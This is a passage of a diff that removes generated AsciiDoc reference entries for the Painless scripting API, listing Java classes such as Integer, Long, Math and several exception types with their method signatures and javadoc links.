-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IndexOutOfBoundsException]]
-==== IndexOutOfBoundsException
-* {java11-javadoc}/java.base/java/lang/IndexOutOfBoundsException.html#<init>()[IndexOutOfBoundsException]()
-* {java11-javadoc}/java.base/java/lang/IndexOutOfBoundsException.html#<init>(java.lang.String)[IndexOutOfBoundsException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-InstantiationException]]
-==== InstantiationException
-* {java11-javadoc}/java.base/java/lang/InstantiationException.html#<init>()[InstantiationException]()
-* {java11-javadoc}/java.base/java/lang/InstantiationException.html#<init>(java.lang.String)[InstantiationException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Integer]]
-==== Integer
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#BYTES[BYTES]
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#MAX_VALUE[MAX_VALUE]
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#MIN_VALUE[MIN_VALUE]
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#SIZE[SIZE]
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#bitCount(int)[bitCount](int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#compare(int,int)[compare](int, int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#compareUnsigned(int,int)[compareUnsigned](int, int)
-* static Integer {java11-javadoc}/java.base/java/lang/Integer.html#decode(java.lang.String)[decode](null)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#divideUnsigned(int,int)[divideUnsigned](int, int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#hashCode(int)[hashCode](int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#highestOneBit(int)[highestOneBit](int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#lowestOneBit(int)[lowestOneBit](int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#max(int,int)[max](int, int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#min(int,int)[min](int, int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#numberOfLeadingZeros(int)[numberOfLeadingZeros](int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#numberOfTrailingZeros(int)[numberOfTrailingZeros](int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#parseInt(java.lang.String)[parseInt](null)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#parseInt(java.lang.String,int)[parseInt](null, int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#parseUnsignedInt(java.lang.String)[parseUnsignedInt](null)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#parseUnsignedInt(java.lang.String,int)[parseUnsignedInt](null, int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#remainderUnsigned(int,int)[remainderUnsigned](int, int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#reverse(int)[reverse](int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#reverseBytes(int)[reverseBytes](int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#rotateLeft(int,int)[rotateLeft](int, int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#rotateRight(int,int)[rotateRight](int, int)
-* static int {java11-javadoc}/java.base/java/lang/Integer.html#signum(int)[signum](int)
-* static null {java11-javadoc}/java.base/java/lang/Integer.html#toBinaryString(int)[toBinaryString](int)
-* static null {java11-javadoc}/java.base/java/lang/Integer.html#toHexString(int)[toHexString](int)
-* static null {java11-javadoc}/java.base/java/lang/Integer.html#toOctalString(int)[toOctalString](int)
-* static null {java11-javadoc}/java.base/java/lang/Integer.html#toString(int)[toString](int)
-* static null {java11-javadoc}/java.base/java/lang/Integer.html#toString(int,int)[toString](int, int)
-* static long {java11-javadoc}/java.base/java/lang/Integer.html#toUnsignedLong(int)[toUnsignedLong](int)
-* static null {java11-javadoc}/java.base/java/lang/Integer.html#toUnsignedString(int)[toUnsignedString](int)
-* static null {java11-javadoc}/java.base/java/lang/Integer.html#toUnsignedString(int,int)[toUnsignedString](int, int)
-* static Integer {java11-javadoc}/java.base/java/lang/Integer.html#valueOf(int)[valueOf](int)
-* static Integer {java11-javadoc}/java.base/java/lang/Integer.html#valueOf(java.lang.String,int)[valueOf](null, int)
-* byte {java11-javadoc}/java.base/java/lang/Number.html#byteValue()[byteValue]()
-* int {java11-javadoc}/java.base/java/lang/Integer.html#compareTo(java.lang.Integer)[compareTo](Integer)
-* double {java11-javadoc}/java.base/java/lang/Number.html#doubleValue()[doubleValue]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* float {java11-javadoc}/java.base/java/lang/Number.html#floatValue()[floatValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/Number.html#intValue()[intValue]()
-* long {java11-javadoc}/java.base/java/lang/Number.html#longValue()[longValue]()
-* short {java11-javadoc}/java.base/java/lang/Number.html#shortValue()[shortValue]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-InterruptedException]]
-==== InterruptedException
-* {java11-javadoc}/java.base/java/lang/InterruptedException.html#<init>()[InterruptedException]()
-* {java11-javadoc}/java.base/java/lang/InterruptedException.html#<init>(java.lang.String)[InterruptedException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Iterable]]
-==== Iterable
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* Spliterator {java11-javadoc}/java.base/java/lang/Iterable.html#spliterator()[spliterator]()
-* double sum()
-* double sum(ToDoubleFunction)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Long]]
-==== Long
-* static int {java11-javadoc}/java.base/java/lang/Long.html#BYTES[BYTES]
-* static long {java11-javadoc}/java.base/java/lang/Long.html#MAX_VALUE[MAX_VALUE]
-* static long {java11-javadoc}/java.base/java/lang/Long.html#MIN_VALUE[MIN_VALUE]
-* static int {java11-javadoc}/java.base/java/lang/Long.html#SIZE[SIZE]
-* static int {java11-javadoc}/java.base/java/lang/Long.html#bitCount(long)[bitCount](long)
-* static int {java11-javadoc}/java.base/java/lang/Long.html#compare(long,long)[compare](long, long)
-* static int {java11-javadoc}/java.base/java/lang/Long.html#compareUnsigned(long,long)[compareUnsigned](long, long)
-* static Long {java11-javadoc}/java.base/java/lang/Long.html#decode(java.lang.String)[decode](null)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#divideUnsigned(long,long)[divideUnsigned](long, long)
-* static int {java11-javadoc}/java.base/java/lang/Long.html#hashCode(long)[hashCode](long)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#highestOneBit(long)[highestOneBit](long)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#lowestOneBit(long)[lowestOneBit](long)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#max(long,long)[max](long, long)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#min(long,long)[min](long, long)
-* static int {java11-javadoc}/java.base/java/lang/Long.html#numberOfLeadingZeros(long)[numberOfLeadingZeros](long)
-* static int {java11-javadoc}/java.base/java/lang/Long.html#numberOfTrailingZeros(long)[numberOfTrailingZeros](long)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#parseLong(java.lang.String)[parseLong](null)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#parseLong(java.lang.String,int)[parseLong](null, int)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#parseUnsignedLong(java.lang.String)[parseUnsignedLong](null)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#parseUnsignedLong(java.lang.String,int)[parseUnsignedLong](null, int)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#remainderUnsigned(long,long)[remainderUnsigned](long, long)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#reverse(long)[reverse](long)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#reverseBytes(long)[reverseBytes](long)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#rotateLeft(long,int)[rotateLeft](long, int)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#rotateRight(long,int)[rotateRight](long, int)
-* static int {java11-javadoc}/java.base/java/lang/Long.html#signum(long)[signum](long)
-* static long {java11-javadoc}/java.base/java/lang/Long.html#sum(long,long)[sum](long, long)
-* static null {java11-javadoc}/java.base/java/lang/Long.html#toBinaryString(long)[toBinaryString](long)
-* static null {java11-javadoc}/java.base/java/lang/Long.html#toHexString(long)[toHexString](long)
-* static null {java11-javadoc}/java.base/java/lang/Long.html#toOctalString(long)[toOctalString](long)
-* static null {java11-javadoc}/java.base/java/lang/Long.html#toString(long)[toString](long)
-* static null {java11-javadoc}/java.base/java/lang/Long.html#toString(long,int)[toString](long, int)
-* static null {java11-javadoc}/java.base/java/lang/Long.html#toUnsignedString(long)[toUnsignedString](long)
-* static null {java11-javadoc}/java.base/java/lang/Long.html#toUnsignedString(long,int)[toUnsignedString](long, int)
-* static Long {java11-javadoc}/java.base/java/lang/Long.html#valueOf(long)[valueOf](long)
-* static Long {java11-javadoc}/java.base/java/lang/Long.html#valueOf(java.lang.String,int)[valueOf](null, int)
-* byte {java11-javadoc}/java.base/java/lang/Number.html#byteValue()[byteValue]()
-* int {java11-javadoc}/java.base/java/lang/Long.html#compareTo(java.lang.Long)[compareTo](Long)
-* double {java11-javadoc}/java.base/java/lang/Number.html#doubleValue()[doubleValue]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* float {java11-javadoc}/java.base/java/lang/Number.html#floatValue()[floatValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/Number.html#intValue()[intValue]()
-* long {java11-javadoc}/java.base/java/lang/Number.html#longValue()[longValue]()
-* short {java11-javadoc}/java.base/java/lang/Number.html#shortValue()[shortValue]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Math]]
-==== Math
-* static double {java11-javadoc}/java.base/java/lang/Math.html#E[E]
-* static double {java11-javadoc}/java.base/java/lang/Math.html#PI[PI]
-* static double {java11-javadoc}/java.base/java/lang/Math.html#IEEEremainder(double,double)[IEEEremainder](double, double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#abs(double)[abs](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#acos(double)[acos](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#asin(double)[asin](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#atan(double)[atan](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#atan2(double,double)[atan2](double, double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#cbrt(double)[cbrt](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#ceil(double)[ceil](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#copySign(double,double)[copySign](double, double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#cos(double)[cos](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#cosh(double)[cosh](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#exp(double)[exp](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#expm1(double)[expm1](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#floor(double)[floor](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#hypot(double,double)[hypot](double, double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#log(double)[log](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#log10(double)[log10](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#log1p(double)[log1p](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#max(double,double)[max](double, double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#min(double,double)[min](double, double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#nextAfter(double,double)[nextAfter](double, double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#nextDown(double)[nextDown](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#nextUp(double)[nextUp](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#pow(double,double)[pow](double, double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#random()[random]()
-* static double {java11-javadoc}/java.base/java/lang/Math.html#rint(double)[rint](double)
-* static long {java11-javadoc}/java.base/java/lang/Math.html#round(double)[round](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#scalb(double,int)[scalb](double, int)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#signum(double)[signum](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#sin(double)[sin](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#sinh(double)[sinh](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#sqrt(double)[sqrt](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#tan(double)[tan](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#tanh(double)[tanh](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#toDegrees(double)[toDegrees](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#toRadians(double)[toRadians](double)
-* static double {java11-javadoc}/java.base/java/lang/Math.html#ulp(double)[ulp](double)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-NegativeArraySizeException]]
-==== NegativeArraySizeException
-* {java11-javadoc}/java.base/java/lang/NegativeArraySizeException.html#<init>()[NegativeArraySizeException]()
-* {java11-javadoc}/java.base/java/lang/NegativeArraySizeException.html#<init>(java.lang.String)[NegativeArraySizeException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-NoSuchFieldException]]
-==== NoSuchFieldException
-* {java11-javadoc}/java.base/java/lang/NoSuchFieldException.html#<init>()[NoSuchFieldException]()
-* {java11-javadoc}/java.base/java/lang/NoSuchFieldException.html#<init>(java.lang.String)[NoSuchFieldException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-NoSuchMethodException]]
-==== NoSuchMethodException
-* {java11-javadoc}/java.base/java/lang/NoSuchMethodException.html#<init>()[NoSuchMethodException]()
-* {java11-javadoc}/java.base/java/lang/NoSuchMethodException.html#<init>(java.lang.String)[NoSuchMethodException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-NullPointerException]]
-==== NullPointerException
-* {java11-javadoc}/java.base/java/lang/NullPointerException.html#<init>()[NullPointerException]()
-* {java11-javadoc}/java.base/java/lang/NullPointerException.html#<init>(java.lang.String)[NullPointerException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Number]]
-==== Number
-* byte {java11-javadoc}/java.base/java/lang/Number.html#byteValue()[byteValue]()
-* double {java11-javadoc}/java.base/java/lang/Number.html#doubleValue()[doubleValue]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* float {java11-javadoc}/java.base/java/lang/Number.html#floatValue()[floatValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/Number.html#intValue()[intValue]()
-* long {java11-javadoc}/java.base/java/lang/Number.html#longValue()[longValue]()
-* short {java11-javadoc}/java.base/java/lang/Number.html#shortValue()[shortValue]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-NumberFormatException]]
-==== NumberFormatException
-* {java11-javadoc}/java.base/java/lang/NumberFormatException.html#<init>()[NumberFormatException]()
-* {java11-javadoc}/java.base/java/lang/NumberFormatException.html#<init>(java.lang.String)[NumberFormatException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Object]]
-==== Object
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ReflectiveOperationException]]
-==== ReflectiveOperationException
-* {java11-javadoc}/java.base/java/lang/ReflectiveOperationException.html#<init>()[ReflectiveOperationException]()
-* {java11-javadoc}/java.base/java/lang/ReflectiveOperationException.html#<init>(java.lang.String)[ReflectiveOperationException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-RuntimeException]]
-==== RuntimeException
-* {java11-javadoc}/java.base/java/lang/RuntimeException.html#<init>()[RuntimeException]()
-* {java11-javadoc}/java.base/java/lang/RuntimeException.html#<init>(java.lang.String)[RuntimeException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-SecurityException]]
-==== SecurityException
-* {java11-javadoc}/java.base/java/lang/SecurityException.html#<init>()[SecurityException]()
-* {java11-javadoc}/java.base/java/lang/SecurityException.html#<init>(java.lang.String)[SecurityException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Short]]
-==== Short
-* static int {java11-javadoc}/java.base/java/lang/Short.html#BYTES[BYTES]
-* static short {java11-javadoc}/java.base/java/lang/Short.html#MAX_VALUE[MAX_VALUE]
-* static short {java11-javadoc}/java.base/java/lang/Short.html#MIN_VALUE[MIN_VALUE]
-* static int {java11-javadoc}/java.base/java/lang/Short.html#SIZE[SIZE]
-* static int {java11-javadoc}/java.base/java/lang/Short.html#compare(short,short)[compare](short, short)
-* static Short {java11-javadoc}/java.base/java/lang/Short.html#decode(java.lang.String)[decode](null)
-* static int {java11-javadoc}/java.base/java/lang/Short.html#hashCode(short)[hashCode](short)
-* static short {java11-javadoc}/java.base/java/lang/Short.html#parseShort(java.lang.String)[parseShort](null)
-* static short {java11-javadoc}/java.base/java/lang/Short.html#parseShort(java.lang.String,int)[parseShort](null, int)
-* static short {java11-javadoc}/java.base/java/lang/Short.html#reverseBytes(short)[reverseBytes](short)
-* static null {java11-javadoc}/java.base/java/lang/Short.html#toString(short)[toString](short)
-* static int {java11-javadoc}/java.base/java/lang/Short.html#toUnsignedInt(short)[toUnsignedInt](short)
-* static long {java11-javadoc}/java.base/java/lang/Short.html#toUnsignedLong(short)[toUnsignedLong](short)
-* static Short {java11-javadoc}/java.base/java/lang/Short.html#valueOf(short)[valueOf](short)
-* static Short {java11-javadoc}/java.base/java/lang/Short.html#valueOf(java.lang.String,int)[valueOf](null, int)
-* byte {java11-javadoc}/java.base/java/lang/Number.html#byteValue()[byteValue]()
-* int {java11-javadoc}/java.base/java/lang/Short.html#compareTo(java.lang.Short)[compareTo](Short)
-* double {java11-javadoc}/java.base/java/lang/Number.html#doubleValue()[doubleValue]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* float {java11-javadoc}/java.base/java/lang/Number.html#floatValue()[floatValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/Number.html#intValue()[intValue]()
-* long {java11-javadoc}/java.base/java/lang/Number.html#longValue()[longValue]()
-* short {java11-javadoc}/java.base/java/lang/Number.html#shortValue()[shortValue]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-StackTraceElement]]
-==== StackTraceElement
-* {java11-javadoc}/java.base/java/lang/StackTraceElement.html#<init>(java.lang.String,java.lang.String,java.lang.String,int)[StackTraceElement](null, null, null, int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/StackTraceElement.html#getClassName()[getClassName]()
-* null {java11-javadoc}/java.base/java/lang/StackTraceElement.html#getFileName()[getFileName]()
-* int {java11-javadoc}/java.base/java/lang/StackTraceElement.html#getLineNumber()[getLineNumber]()
-* null {java11-javadoc}/java.base/java/lang/StackTraceElement.html#getMethodName()[getMethodName]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/lang/StackTraceElement.html#isNativeMethod()[isNativeMethod]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-StrictMath]]
-==== StrictMath
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#E[E]
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#PI[PI]
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#IEEEremainder(double,double)[IEEEremainder](double, double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#abs(double)[abs](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#acos(double)[acos](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#asin(double)[asin](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#atan(double)[atan](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#atan2(double,double)[atan2](double, double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#cbrt(double)[cbrt](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#ceil(double)[ceil](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#copySign(double,double)[copySign](double, double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#cos(double)[cos](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#cosh(double)[cosh](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#exp(double)[exp](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#expm1(double)[expm1](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#floor(double)[floor](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#hypot(double,double)[hypot](double, double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#log(double)[log](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#log10(double)[log10](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#log1p(double)[log1p](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#max(double,double)[max](double, double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#min(double,double)[min](double, double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#nextAfter(double,double)[nextAfter](double, double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#nextDown(double)[nextDown](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#nextUp(double)[nextUp](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#pow(double,double)[pow](double, double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#random()[random]()
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#rint(double)[rint](double)
-* static long {java11-javadoc}/java.base/java/lang/StrictMath.html#round(double)[round](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#scalb(double,int)[scalb](double, int)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#signum(double)[signum](double)
